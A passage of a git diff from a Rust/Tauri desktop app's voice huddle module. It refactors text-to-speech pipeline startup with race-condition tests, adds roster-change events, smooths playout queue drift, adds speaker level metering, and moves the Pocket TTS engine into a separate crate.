+    std::fs::write(model_dir.join(TTS_LICENSE_FILE_NAME), TTS_LICENSE_TEXT)
+        .map_err(|error| format!("update Pocket voice notice: {error}"))?;
+    std::fs::write(manifest_path, TTS_MODEL_VERSION)
+        .map_err(|error| format!("update Pocket model manifest: {error}"))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn v4_install_adds_presets_without_redownloading_models() {
+        let temp = tempfile::tempdir().expect("tempdir");
+        let model_dir = temp.path().join(TTS_MODEL_DIR_NAME);
+        std::fs::create_dir_all(&model_dir).expect("create model dir");
+        for file in TTS_EXPECTED_FILES
+            .iter()
+            .filter(|filename| !is_embedded_voice_file(filename))
+        {
+            std::fs::write(model_dir.join(file), b"existing").expect("write prior file");
+        }
+        std::fs::write(
+            model_dir.join(MANIFEST_FILENAME),
+            PRESET_VOICE_TTS_MODEL_VERSION,
+        )
+        .expect("write prior manifest");
+        std::fs::write(model_dir.join("marius.wav"), b"retired").expect("write retired voice");
+
+        install_vctk_presets_into_v4_model(temp.path()).expect("in-place upgrade");
+
+        for voice in POCKET_VOICES {
+            if let Some(bytes) = voice.bytes {
+                assert_eq!(
+                    std::fs::read(model_dir.join(voice.reference_file))
+                        .expect("bundled voice installed"),
+                    bytes
+                );
+            }
+        }
+        assert_eq!(
+            std::fs::read_to_string(model_dir.join(MANIFEST_FILENAME)).expect("updated manifest"),
+            TTS_MODEL_VERSION
+        );
+        assert!(!model_dir.join("marius.wav").exists());
+        assert!(
+            ModelSlot::new(TTS_MODEL_DIR_NAME, TTS_EXPECTED_FILES, TTS_MODEL_VERSION)
+                .is_ready(temp.path())
+        );
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/pipeline.rs b/desktop/src-tauri/src/huddle/pipeline.rs
index 18b688a971..e523ee22bf 100644
--- a/desktop/src-tauri/src/huddle/pipeline.rs
+++ b/desktop/src-tauri/src/huddle/pipeline.rs
@@ -3,9 +3,12 @@
 //! Handles starting, hot-starting, and spawning transcription tasks for
 //! the voice pipelines. Extracted from mod.rs to keep the command layer thin.
 
-use std::sync::{
-    atomic::{AtomicU64, Ordering},
-    Arc, Mutex,
+use std::{
+    sync::{
+        atomic::{AtomicU64, Ordering},
+        Arc, Mutex,
+    },
+    time::Duration,
 };
 
 use nostr::JsonUtil;
@@ -17,7 +20,7 @@ use crate::events;
 
 use super::models;
 use super::relay_api::{self, fetch_channel_members, parse_channel_uuid};
-use super::state::{HuddlePhase, VoiceInputMode};
+use super::state::{HuddlePhase, HuddleState, VoiceInputMode};
 use super::stt;
 use super::tts;
 
@@ -79,7 +82,7 @@ pub async fn check_pipeline_hotstart(state: State<'_, AppState>) -> Result<(), S
         .map(|m| m.take_tts_ready())
         .unwrap_or(false);
 
-    // Start TTS first (so STT can capture tts_cancel).
+    // Start TTS first so STT can observe its active-playback gate.
     if !has_tts && (tts_ready || models::is_tts_ready()) {
         if let Err(e) = maybe_start_tts_pipeline(&state).await {
             eprintln!("buzz-desktop: TTS hotstart failed: {e}");
@@ -127,25 +130,45 @@ pub async fn check_pipeline_hotstart(state: State<'_, AppState>) -> Result<(), S
                 .await
                 .ok();
             let fresh_members = fetch_channel_members(eph_id, None, &state).await.ok();
-            let transcription_auto_enabled = if fresh_agents.is_some() || fresh_members.is_some() {
-                let mut hs = state.huddle()?;
-                if !hs.is_current_huddle(eph_id, huddle_generation) {
-                    return Ok(());
-                }
-                if let Some(agents) = fresh_agents {
-                    *hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()) = agents;
-                }
-                if let Some(members) = fresh_members {
-                    hs.participants = members;
-                }
-                hs.last_agent_refresh = Some(std::time::Instant::now());
-                hs.maybe_auto_enable_transcription_for_agents()
-            } else {
-                false
-            };
+            let (roster_changed, transcription_auto_enabled) =
+                if fresh_agents.is_some() || fresh_members.is_some() {
+                    let mut hs = state.huddle()?;
+                    if !hs.is_current_huddle(eph_id, huddle_generation) {
+                        return Ok(());
+                    }
+                    let mut roster_changed = false;
+                    if let Some(agents) = fresh_agents {
+                        let mut current_agents =
+                            hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner());
+                        if *current_agents != agents {
+                            *current_agents = agents;
+                            roster_changed = true;
+                        }
+                    }
+                    if let Some(members) = fresh_members {
+                        if hs.participants != members {
+                            hs.participants = members;
+                            roster_changed = true;
+                        }
+                    }
+                    hs.last_agent_refresh = Some(std::time::Instant::now());
+                    (
+                        roster_changed,
+                        hs.maybe_auto_enable_transcription_for_agents(),
+                    )
+                } else {
+                    (false, false)
+                };
             if transcription_auto_enabled {
                 start_auto_enabled_transcription(&state, eph_id).await;
             }
+            // Audio authentication auto-adds a joining human to the ephemeral
+            // channel. Emit whenever that authoritative roster changes so the
+            // desktop participant strip updates immediately instead of waiting
+            // for its slow fallback IPC read.
+            if roster_changed || transcription_auto_enabled {
+                state.emit_huddle_state_changed();
+            }
         }
     }
 
@@ -170,23 +193,32 @@ pub(crate) async fn post_connect_setup(
         fetch_channel_members(ephemeral_channel_id, Some("bot"), state),
         fetch_channel_members(ephemeral_channel_id, None, state),
     );
-    let transcription_auto_enabled = {
+    let (roster_changed, transcription_auto_enabled) = {
         let mut hs = state.huddle()?;
         if !hs.is_current_huddle(ephemeral_channel_id, huddle_generation) {
             return Ok(PostConnectOutcome::Stale);
         }
+        let mut roster_changed = false;
         if let Ok(agents) = agents_result {
-            *hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()) = agents;
+            let mut current_agents = hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner());
+            if *current_agents != agents {
+                *current_agents = agents;
+                roster_changed = true;
+            }
         }
         if let Ok(all_members) = all_members_result {
-            if !all_members.is_empty() {
+            if !all_members.is_empty() && hs.participants != all_members {
                 hs.participants = all_members;
+                roster_changed = true;
             }
         }
-        hs.maybe_auto_enable_transcription_for_agents()
+        (
+            roster_changed,
+            hs.maybe_auto_enable_transcription_for_agents(),
+        )
     };
 
-    if transcription_auto_enabled {
+    if roster_changed || transcription_auto_enabled {
         state.emit_huddle_state_changed();
     }
 
@@ -278,12 +310,12 @@ pub(crate) async fn maybe_start_stt_pipeline(
     // the worker thread (~200ms) and must not block under the mutex.
     let (
         tts_active,
-        tts_cancel,
         agent_pubkeys_arc,
         session_gen,
         expected_generation,
         stt_starting,
         ptt_active_for_stt,
+        manual_mic_unmuted_for_stt,
         old_stt,
     ) = {
         let mut hs = state.huddle()?;
@@ -307,14 +339,19 @@ pub(crate) async fn maybe_start_stt_pipeline(
         } else {
             None
         };
+        let manual_mic_unmuted = if hs.voice_input_mode == VoiceInputMode::PushToTalk {
+            Some(Arc::clone(&hs.manual_mic_unmuted))
+        } else {
+            None
+        };
         (
             Arc::clone(&hs.tts_active),
-            Some(Arc::clone(&hs.tts_cancel)),
             Arc::clone(&hs.agent_pubkeys),
             Arc::clone(&hs.session_generation),
             hs.session_generation.load(Ordering::Acquire),
             stt_starting,
             ptt,
+            manual_mic_unmuted,
             old,
         )
     };
@@ -322,7 +359,12 @@ pub(crate) async fn maybe_start_stt_pipeline(
     drop(old_stt);
 
     let constructed = tokio::task::spawn_blocking(move || {
-        stt::SttPipeline::new(model_dir, tts_active, tts_cancel, ptt_active_for_stt)
+        stt::SttPipeline::new(
+            model_dir,
+            tts_active,
+            ptt_active_for_stt,
+            manual_mic_unmuted_for_stt,
+        )
     })
     .await;
     let (pipeline, text_rx) = match constructed {
@@ -389,10 +431,44 @@ pub(crate) async fn maybe_start_tts_pipeline(state: &AppState) -> Result<bool, S
         None => return Ok(false),
     };
 
+    // Avoid resolving and hashing imported voice files on every hot-start poll
+    // when TTS is already disabled or running. The guarded claim below repeats
+    // these checks after the fallible work to close the race.
+    {
+        let huddle = state.huddle()?;
+        if huddle.tts_pipeline.is_some() || !huddle.tts_enabled {
+            return Ok(false);
+        }
+    }
+
+    // Resolve all fallible construction inputs before claiming the sentinel so
+    // an unreadable optional voice registry cannot wedge future start attempts.
+    let output_device = state
+        .huddle_audio
+        .output_device
+        .lock()
+        .unwrap_or_else(|e| e.into_inner())
+        .clone();
+    let app = state
+        .app_handle
+        .lock()
+        .map_err(|error| format!("app handle lock poisoned: {error}"))?
+        .clone();
+    let voice_preferences = state
+        .huddle_audio
+        .tts
+        .lock()
+        .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))
+        .map(|settings| settings.voice_preferences.clone())?;
+    let initial_voice = match app.as_ref() {
+        Some(app) => super::tts_settings::pocket_voice_reference(app, &voice_preferences)?,
+        None => super::tts_settings::bundled_pocket_voice_reference(&voice_preferences),
+    };
+
     // Atomically check preconditions and claim the construction slot.
     // The sentinel prevents a second caller from starting construction
     // while we're building outside the lock.
-    let (tts_active, tts_cancel) = {
+    let (tts_active, tts_cancel, tts_starting) = {
         let hs = state.huddle()?;
         if hs.tts_pipeline.is_some() {
             return Ok(false);
@@ -403,18 +479,26 @@ pub(crate) async fn maybe_start_tts_pipeline(state: &AppState) -> Result<bool, S
         if hs.tts_starting.swap(true, Ordering::AcqRel) {
             return Ok(false); // Another caller is already constructing.
         }
-        (Arc::clone(&hs.tts_active), Arc::clone(&hs.tts_cancel))
+        (
+            Arc::clone(&hs.tts_active),
+            Arc::clone(&hs.tts_cancel),
+            Arc::clone(&hs.tts_starting),
+        )
     };
+    let _starting_guard = TtsStartingGuard(tts_starting);
 
     // Construct outside the lock — this spawns the TTS worker thread and
     // loads ONNX sessions (~200ms). If this fails, clear the sentinel.
-    let output_device = state
-        .audio_output_device
-        .lock()
-        .unwrap_or_else(|e| e.into_inner())
-        .clone();
+    let constructed_voice = initial_voice.clone();
     let constructed = tokio::task::spawn_blocking(move || {
-        tts::TtsPipeline::new(model_dir, tts_active, tts_cancel, output_device)
+        tts::TtsPipeline::new_with_voice(
+            model_dir,
+            tts_active,
+            tts_cancel,
+            &initial_voice,
+            output_device,
+            app,
+        )
     })
     .await;
     let pipeline = match constructed {
@@ -431,23 +515,87 @@ pub(crate) async fn maybe_start_tts_pipeline(state: &AppState) -> Result<bool, S
         }
     };
 
-    {
-        let mut hs = state.huddle()?;
-        hs.tts_starting.store(false, Ordering::Release);
-        // Phase check: huddle may have been torn down during construction.
-        if !matches!(hs.phase, HuddlePhase::Connected | HuddlePhase::Active) {
-            return Ok(false);
+    finalize_tts_pipeline_start(state, move |voice, huddle| {
+        if should_reselect_constructed_voice(&constructed_voice, voice) {
+            pipeline.select_voice_before_publish(voice);
         }
-        // Final check: another path may have created a pipeline while we were constructing.
-        if hs.tts_pipeline.is_some() {
-            return Ok(false);
+        huddle.tts_pipeline = Some(pipeline);
+    })
+}
+
+/// Wait for a concurrent TTS constructor to publish or fail.
+///
+/// `maybe_start_tts_pipeline` deliberately lets only one caller construct the
+/// engine. A live message that loses that race must wait for the owner instead
+/// of observing the temporary empty slot and being dropped.
+pub(crate) async fn await_inflight_tts_start(state: &AppState) -> Result<(), String> {
+    let starting = {
+        let huddle = state.huddle()?;
+        Arc::clone(&huddle.tts_starting)
+    };
+    tokio::time::timeout(Duration::from_secs(15), async {
+        while starting.load(Ordering::Acquire) {
+            tokio::time::sleep(Duration::from_millis(10)).await;
         }
-        hs.tts_pipeline = Some(pipeline);
+    })
+    .await
+    .map_err(|_| "TTS pipeline startup did not finish before timeout".to_string())?;
+    // The owner clears the sentinel while holding the huddle lock, before it
+    // publishes. Reacquiring that lock ensures publication is visible before
+    // the losing caller looks up the sender.
+    drop(state.huddle()?);
+    Ok(())
+}
+
+struct TtsStartingGuard(Arc<std::sync::atomic::AtomicBool>);
+
+impl Drop for TtsStartingGuard {
+    fn drop(&mut self) {
+        self.0.store(false, Ordering::Release);
     }
+}
 
+/// Publish a constructed TTS pipeline against the latest settings.
+///
+/// Construction happens outside locks and can overlap a voice change or OFF
+/// transition. Holding the huddle lock while re-reading settings gives either
+/// transition a safe ordering: it updates the installed pipeline afterward,
+/// or this finalizer observes the new setting before publishing.
+fn finalize_tts_pipeline_start(
+    state: &AppState,
+    publish: impl FnOnce(&str, &mut HuddleState),
+) -> Result<bool, String> {
+    let mut huddle = state.huddle()?;
+    huddle.tts_starting.store(false, Ordering::Release);
+    if !huddle.tts_enabled
+        || !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active)
+        || huddle.tts_pipeline.is_some()
+    {
+        return Ok(false);
+    }
+    let app = state
+        .app_handle
+        .lock()
+        .map_err(|error| format!("app handle lock poisoned: {error}"))?
+        .clone();
+    let preferences = state
+        .huddle_audio
+        .tts
+        .lock()
+        .map_err(|error| format!("text-to-speech settings lock poisoned: {error}"))
+        .map(|settings| settings.voice_preferences.clone())?;
+    let voice = match app {
+        Some(app) => super::tts_settings::pocket_voice_reference(&app, &preferences)?,
+        None => super::tts_settings::bundled_pocket_voice_reference(&preferences),
+    };
+    publish(&voice, &mut huddle);
     Ok(true)
 }
 
+fn should_reselect_constructed_voice(constructed_voice: &str, latest_voice: &str) -> bool {
+    constructed_voice != latest_voice
+}
+
 /// Sign an STT transcript event and produce the guarded POST body.
 ///
 /// Factored out of the transcription loop so egress boundary 5 (huddle STT)
@@ -570,3 +718,148 @@ pub(crate) fn spawn_transcription_task(
         }
     });
 }
+
+#[cfg(test)]
+mod tts_start_race_tests {
+    use std::sync::{
+        atomic::{AtomicBool, Ordering},
+        Arc, Barrier, Mutex,
+    };
+    use std::time::Duration;
+
+    use crate::app_state::build_app_state;
+
+    use super::{
+        await_inflight_tts_start, finalize_tts_pipeline_start, should_reselect_constructed_voice,
+        HuddlePhase,
+    };
+
+    #[tokio::test]
+    async fn a_losing_starter_observes_publication_before_resuming() {
+        let state = Arc::new(build_app_state());
+        {
+            let mut huddle = state.huddle().expect("huddle state");
+            huddle.phase = HuddlePhase::Active;
+            huddle.tts_enabled = true;
+            huddle.tts_starting.store(true, Ordering::Release);
+        }
+        let published = Arc::new(AtomicBool::new(false));
+        let owner_state = Arc::clone(&state);
+        let owner_published = Arc::clone(&published);
+        let owner = std::thread::spawn(move || {
+            std::thread::sleep(Duration::from_millis(20));
+            finalize_tts_pipeline_start(&owner_state, |_, _| {
+                owner_published.store(true, Ordering::Release);
+            })
+        });
+
+        await_inflight_tts_start(&state)
+            .await
+            .expect("wait for pipeline owner");
+        assert!(published.load(Ordering::Acquire));
+        assert!(owner.join().expect("pipeline owner").expect("finalize"));
+    }
+
+    #[test]
+    fn constructor_fallback_survives_unchanged_preference_at_publication() {
+        let selected_voice = Mutex::new(super::super::pocket::DEFAULT_VOICE.to_string());
+        let constructed_voice = "eve";
+        let latest_voice = "eve";
+
+        if should_reselect_constructed_voice(constructed_voice, latest_voice) {
+            *selected_voice.lock().expect("selected voice") = latest_voice.to_string();
+        }
+
+        assert_eq!(
+            selected_voice.lock().expect("selected voice").as_str(),
+            super::super::pocket::DEFAULT_VOICE
+        );
+    }
+
+    #[test]
+    fn construction_reconciles_a_voice_selected_while_starting() {
+        let state = Arc::new(build_app_state());
+        {
+            let mut huddle = state.huddle().expect("huddle state");
+            huddle.phase = HuddlePhase::Active;
+            huddle.tts_enabled = true;
+            huddle.tts_starting.store(true, Ordering::Release);
+        }
+
+        let constructed = Arc::new(Barrier::new(2));
+        let publish = Arc::new(Barrier::new(2));
+        let selected_voice = Arc::new(Mutex::new(None));
+        let worker_state = Arc::clone(&state);
+        let worker_constructed = Arc::clone(&constructed);
+        let worker_publish = Arc::clone(&publish);
+        let worker_voice = Arc::clone(&selected_voice);
+        let worker = std::thread::spawn(move || {
+            worker_constructed.wait();
+            worker_publish.wait();
+            finalize_tts_pipeline_start(&worker_state, |voice, _| {
+                *worker_voice.lock().expect("selected voice") = Some(voice.to_string());
+            })
+        });
+
+        constructed.wait();
+        assert!(state
+            .huddle()
+            .expect("huddle state")
+            .tts_starting
+            .load(Ordering::Acquire));
+        state
+            .huddle_audio
+            .tts
+            .lock()
+            .expect("text-to-speech settings")
+            .voice_preferences = vec!["pocket:eve".to_string()];
+        publish.wait();
+
+        assert!(worker.join().expect("starter thread").expect("finalize"));
+        assert_eq!(
+            *selected_voice.lock().expect("selected voice"),
+            Some("eve".to_string())
+        );
+    }
+
+    #[test]
+    fn construction_is_discarded_when_disabled_while_starting() {
+        let state = Arc::new(build_app_state());
+        {
+            let mut huddle = state.huddle().expect("huddle state");
+            huddle.phase = HuddlePhase::Active;
+            huddle.tts_enabled = true;
+            huddle.tts_starting.store(true, Ordering::Release);
+        }
+
+        let constructed = Arc::new(Barrier::new(2));
+        let publish = Arc::new(Barrier::new(2));
+        let did_publish = Arc::new(Mutex::new(false));
+        let worker_state = Arc::clone(&state);
+        let worker_constructed = Arc::clone(&constructed);
+        let worker_publish = Arc::clone(&publish);
+        let worker_did_publish = Arc::clone(&did_publish);
+        let worker = std::thread::spawn(move || {
+            worker_constructed.wait();
+            worker_publish.wait();
+            finalize_tts_pipeline_start(&worker_state, |_, _| {
+                *worker_did_publish.lock().expect("publish flag") = true;
+            })
+        });
+
+        constructed.wait();
+        {
+            let mut huddle = state.huddle().expect("huddle state");
+            huddle.tts_enabled = false;
+        }
+        publish.wait();
+
+        assert!(!worker.join().expect("starter thread").expect("finalize"));
+        assert!(!*did_publish.lock().expect("publish flag"));
+        assert!(!state
+            .huddle()
+            .expect("huddle state")
+            .tts_starting
+            .load(Ordering::Acquire));
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/playout.rs b/desktop/src-tauri/src/huddle/playout.rs
index bf5d4a2390..346b425aec 100644
--- a/desktop/src-tauri/src/huddle/playout.rs
+++ b/desktop/src-tauri/src/huddle/playout.rs
@@ -38,6 +38,8 @@ use super::wire::{FrameHeader, FLAG_DTX, V2_HEADER_LEN};
 /// cleared each tick — peers that didn't send a frame in the last window are
 /// considered silent.
 const SPEAKER_TICK_MS: u64 = 500;
+/// UI cadence for per-speaker waveform levels.
+const SPEAKER_LEVEL_TICK_MS: u64 = 50;
 /// Per-peer arrival window for the TTS interrupt frame counter.
 const FRAME_WINDOW: std::time::Duration = std::time::Duration::from_millis(500);
 /// Playout clock: NetEq emits 10 ms frames, so we tick at 10 ms.
@@ -52,7 +54,7 @@ const PLAYOUT_TICK_MS: u64 = 10;
 /// NetEq's PLC/expand path normally.
 const IDLE_PEER_GRACE: std::time::Duration = std::time::Duration::from_millis(500);
 
-/// Drift bound on per-peer rodio `Player` queue depth.
+/// Queue-depth thresholds for smooth producer/device clock-drift recovery.
 ///
 /// The playout pipeline has two clocks: the producer is a `tokio` 10 ms
 /// interval (this loop) that pulls from NetEq and appends to each peer's
@@ -67,12 +69,28 @@ const IDLE_PEER_GRACE: std::time::Duration = std::time::Duration::from_millis(50
 /// that drift would accumulate as monotonic added latency (and eventually
 /// memory).
 ///
-/// We bound it explicitly: before each append, if the queue is already
-/// at or above this threshold, drop the oldest queued frame with
-/// `Player::skip_one()` so the new frame replaces it. 4 frames × 10 ms
-/// = 40 ms, far below NetEq's `max_delay_ms = 200 ms`, so the audible
-/// effect is negligible while the worst-case latency stays bounded.
-const PLAYOUT_QUEUE_HIGH_WATER: usize = 4;
+/// Dropping a whole 10 ms buffer at a shallow queue depth creates a waveform
+/// discontinuity that is audible as a click or static. Once the queue grows
+/// beyond the recovery threshold, play it 2% faster until it returns to the
+/// target. A hard drop remains only as an emergency bound at 300 ms.
+const PLAYOUT_QUEUE_RECOVERY_START: usize = 10;
+const PLAYOUT_QUEUE_RECOVERY_END: usize = 4;
+const PLAYOUT_QUEUE_EMERGENCY_HIGH_WATER: usize = 30;
+const PLAYOUT_RECOVERY_SPEED: f32 = 1.02;
+
+/// Map sender-authored dBov into a useful UI range. Normal conversational
+/// speech generally sits between roughly -60 dBov and -12 dBov.
+fn normalized_speaker_level(level_dbov: i8) -> f32 {
+    ((f32::from(level_dbov) + 60.0) / 48.0).clamp(0.0, 1.0)
+}
+
+fn should_recover_playout(depth: usize, currently_recovering: bool) -> bool {
+    if currently_recovering {
+        depth > PLAYOUT_QUEUE_RECOVERY_END
+    } else {
+        depth >= PLAYOUT_QUEUE_RECOVERY_START
+    }
+}
 
 /// One remote peer's slot: jitter buffer + dedicated rodio Player.
 ///
@@ -87,6 +105,7 @@ struct PeerSlot {
     /// by the playout tick to decide whether to keep draining NetEq into the
     /// Player. Updated on every successful `insert_packet`.
     last_packet_at: tokio::time::Instant,
+    recovering_playout: bool,
 }
 
 impl PeerSlot {
@@ -96,6 +115,7 @@ impl PeerSlot {
                 jitter,
                 player: rodio::Player::connect_new(sink_mixer),
                 last_packet_at: tokio::time::Instant::now(),
+                recovering_playout: false,
             }),
             Err(e) => {
                 eprintln!("buzz-desktop: jitter buffer init peer {peer_idx}: {e}");
@@ -121,6 +141,19 @@ impl PeerSlot {
     fn is_active(&self) -> bool {
         self.last_packet_at.elapsed() < IDLE_PEER_GRACE || !self.jitter.is_empty()
     }
+
+    fn update_playout_recovery(&mut self) {
+        let should_recover = should_recover_playout(self.player.len(), self.recovering_playout);
+        if should_recover == self.recovering_playout {
+            return;
+        }
+        self.recovering_playout = should_recover;
+        self.player.set_speed(if should_recover {
+            PLAYOUT_RECOVERY_SPEED
+        } else {
+            1.0
+        });
+    }
 }
 
 /// Drive the receive loop until cancelled or the WS closes.
@@ -149,12 +182,16 @@ pub(crate) async fn run_playout_recv_loop(
     let mut index_to_pubkey: std::collections::HashMap<u8, String> =
         initial_peers.into_iter().collect();
     let mut active_indices: std::collections::HashSet<u8> = std::collections::HashSet::new();
+    let mut speaker_levels: std::collections::HashMap<u8, f32> = std::collections::HashMap::new();
     let mut frame_counts: std::collections::HashMap<u8, u16> = std::collections::HashMap::new();
     let mut last_frame_reset = tokio::time::Instant::now();
     let mut tts_was_active = false;
 
     let mut speaker_tick = tokio::time::interval(std::time::Duration::from_millis(SPEAKER_TICK_MS));
     speaker_tick.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip);
+    let mut speaker_level_tick =
+        tokio::time::interval(std::time::Duration::from_millis(SPEAKER_LEVEL_TICK_MS));
+    speaker_level_tick.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip);
     let mut playout_tick = tokio::time::interval(std::time::Duration::from_millis(PLAYOUT_TICK_MS));
     // `Delay` (not `Skip`) so a brief stall in another select arm — e.g. the
     // ws_tx_for_pongs mutex contending with the encode-side task on a Ping —
@@ -187,15 +224,14 @@ pub(crate) async fn run_playout_recv_loop(
                     }
                     match slot.jitter.get_audio() {
                         Ok((samples, _vad)) => {
-                            // Bound producer-vs-device-clock drift. If our
-                            // tokio tick has gotten ahead of the audio
-                            // callback's actual consumption rate, drop the
-                            // oldest queued frame rather than letting the
-                            // queue grow without bound.
-                            if slot.player.len() >= PLAYOUT_QUEUE_HIGH_WATER {
+                            // Smooth out producer-vs-device clock drift. A
+                            // shallow hard drop used to remove entire 10 ms
+                            // chunks and create audible discontinuities.
+                            slot.update_playout_recovery();
+                            if slot.player.len() >= PLAYOUT_QUEUE_EMERGENCY_HIGH_WATER {
                                 eprintln!(
-                                    "buzz-desktop: playout queue high-water for peer {peer_idx} \
-                                     (depth={}) — dropping oldest frame",
+                                    "buzz-desktop: playout queue emergency high-water for peer \
+                                     {peer_idx} (depth={}) — dropping oldest frame",
                                     slot.player.len(),
                                 );
                                 slot.player.skip_one();
@@ -221,6 +257,22 @@ pub(crate) async fn run_playout_recv_loop(
                 }
                 active_indices.clear();
             }
+            _ = speaker_level_tick.tick() => {
+                if let Some(ref app) = app_handle {
+                    use tauri::Emitter;
+                    let levels: std::collections::HashMap<String, f32> = speaker_levels
+                        .iter()
+                        .filter_map(|(idx, level)| {
+                            index_to_pubkey.get(idx).cloned().map(|pubkey| (pubkey, *level))
+                        })
+                        .collect();
+                    let _ = app.emit("huddle-speaker-levels", &levels);
+                }
+                for level in speaker_levels.values_mut() {
+                    *level *= 0.55;
+                }
+                speaker_levels.retain(|_, level| *level > 0.015);
+            }
             msg = ws_rx.next() => {
                 match msg {
                     Some(Ok(WsMsg::Binary(data))) => {
@@ -253,6 +305,11 @@ pub(crate) async fn run_playout_recv_loop(
                         // make their tile flash for the 500 ms speaker tick.
                         if !is_dtx {
                             active_indices.insert(peer_idx);
+                            let level = normalized_speaker_level(header.level_dbov);
+                            speaker_levels
+                                .entry(peer_idx)
+                                .and_modify(|current| *current = current.max(level))
+                                .or_insert(level);
                         }
 
                         // TTS interrupt frame counter — reset on TTS rising edge.
@@ -328,6 +385,7 @@ pub(crate) async fn run_playout_recv_loop(
                                                     peers.remove(&key);
                                                     frame_counts.remove(&key);
                                                     active_indices.remove(&key);
+                                                    speaker_levels.remove(&key);
                                                 }
                                                 index_to_pubkey.insert(key, pk.to_string());
                                             }
@@ -351,6 +409,7 @@ pub(crate) async fn run_playout_recv_loop(
                                         peers.retain(|idx, _| identity_unchanged(idx));
                                         frame_counts.retain(|idx, _| identity_unchanged(idx));
                                         active_indices.retain(identity_unchanged);
+                                        speaker_levels.retain(|idx, _| identity_unchanged(idx));
                                         index_to_pubkey = replacement;
                                     }
                                 }
@@ -359,6 +418,8 @@ pub(crate) async fn run_playout_recv_loop(
                                         let key = idx as u8;
                                         index_to_pubkey.remove(&key);
                                         frame_counts.remove(&key);
+                                        active_indices.remove(&key);
+                                        speaker_levels.remove(&key);
                                         // Dropping Player detaches its queue from the
                                         // device mixer, freeing the per-peer slot.
                                         peers.remove(&key);
@@ -379,4 +440,34 @@ pub(crate) async fn run_playout_recv_loop(
             }
         }
     }
+
+    if let Some(ref app) = app_handle {
+        use tauri::Emitter;
+        let _ = app.emit(
+            "huddle-speaker-levels",
+            &std::collections::HashMap::<String, f32>::new(),
+        );
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn speaker_level_maps_conversational_range() {
+        assert_eq!(normalized_speaker_level(-127), 0.0);
+        assert_eq!(normalized_speaker_level(-60), 0.0);
+        assert!((normalized_speaker_level(-36) - 0.5).abs() < f32::EPSILON);
+        assert_eq!(normalized_speaker_level(-12), 1.0);
+        assert_eq!(normalized_speaker_level(0), 1.0);
+    }
+
+    #[test]
+    fn playout_recovery_uses_hysteresis() {
+        assert!(!should_recover_playout(9, false));
+        assert!(should_recover_playout(10, false));
+        assert!(should_recover_playout(5, true));
+        assert!(!should_recover_playout(4, true));
+    }
 }
diff --git a/desktop/src-tauri/src/huddle/pocket.rs b/desktop/src-tauri/src/huddle/pocket.rs
index 2154a25c22..fd407103d1 100644
--- a/desktop/src-tauri/src/huddle/pocket.rs
+++ b/desktop/src-tauri/src/huddle/pocket.rs
@@ -1,166 +1,4 @@
-//! April 2026 Pocket TTS engine for Buzz Desktop.
-//!
-//! The `english_2026-04` bundle uses SentencePiece tokenization, a learned
-//! voice BOS embedding, recurrent FlowLM state, and stateful Mimi decoding.
-//! Buzz selects the upstream three-graph INT8 variant while retaining the
-//! full-precision Mimi encoder and text conditioner specified by that variant.
-//!
-//! ## Attribution
-//!
-//! - Pocket TTS and Mimi: Kyutai, CC-BY-4.0.
-//! - ONNX export: KevinAHM/pocket-tts-onnx, CC-BY-4.0.
-//! - Reference voice: Kyutai's Mary preset (VCTK p333), CC-BY-4.0.
-//!
-//! `huddle::models` writes the complete attribution beside the cached bytes.
-
-use std::path::{Path, PathBuf};
-use std::sync::Mutex;
-
-use sherpa_onnx::Wave;
-
-#[path = "pocket_april.rs"]
-mod pocket_april;
-#[path = "pocket_models.rs"]
-mod pocket_models;
-
-use pocket_april::{prepare_april_prompt, AprilPocketTts};
-pub(crate) use pocket_models::{
+pub use buzz_voice_pkg::pocket::*;
+pub(crate) use buzz_voice_pkg::{
     april_model_info, PocketModelArtifact, APRIL_BUNDLE_ID, APRIL_MODEL_ID, APRIL_MODEL_REVISION,
 };
-
-/// Pocket TTS emits 24 kHz mono PCM.
-pub const SAMPLE_RATE: u32 = 24_000;
-
-/// Bundled reference voice name without its extension.
-pub const DEFAULT_VOICE: &str = "reference_sample";
-
-/// Pocket voice files are reference WAVs.
-pub const VOICE_FILE_EXT: &str = "wav";
-
-const TTS_NUM_THREADS: usize = 1;
-
-/// Loaded reference voice samples and their original sample rate.
-#[derive(Debug, Clone)]
-pub struct VoiceStyle {
-    samples: Vec<f32>,
-    sample_rate: i32,
-}
-
-/// Load a Pocket reference voice WAV from disk.
-pub fn load_voice_style(path: &Path) -> Result<VoiceStyle, String> {
-    let path_str = path
-        .to_str()
-        .ok_or_else(|| format!("voice path is not valid UTF-8: {}", path.display()))?;
-    let wave = Wave::read(path_str)
-        .ok_or_else(|| format!("could not read voice WAV at {}", path.display()))?;
-    let samples = wave.samples().to_vec();
-    if samples.is_empty() {
-        return Err(format!("voice WAV is empty: {}", path.display()));
-    }
-    Ok(VoiceStyle {
-        samples,
-        sample_rate: wave.sample_rate(),
-    })
-}
-
-/// Resident April INT8 Pocket TTS engine.
-pub struct PocketTts {
-    inner: Mutex<AprilPocketTts>,
-}
-
-/// Load Buzz Desktop's pinned April INT8 model.
-pub fn load_text_to_speech(model_dir: &str) -> Result<PocketTts, String> {
-    let dir = PathBuf::from(model_dir);
-    for artifact in april_model_info().artifacts {
-        let path = dir.join(artifact.filename);
-        if !path.is_file() {
-            return Err(format!(
-                "incomplete Pocket TTS {} INT8 bundle: missing {}",
-                APRIL_BUNDLE_ID,
-                path.display()
-            ));
-        }
-    }
-    Ok(PocketTts {
-        inner: Mutex::new(AprilPocketTts::load(&dir, TTS_NUM_THREADS)?),
-    })
-}
-
-impl PocketTts {
-    /// Split text into synthesis units that satisfy the bundle's exact
-    /// 50-token input limit.
-    pub fn split_text_into_chunks(&self, text: &str) -> Result<Vec<String>, String> {
-        let Some(prepared) = prepare_april_prompt(text) else {
-            return Ok(Vec::new());
-        };
-        self.inner
-            .lock()
-            .map_err(|_| "Pocket TTS engine lock poisoned".to_string())?
-            .split_prompt(&prepared)
-    }
-
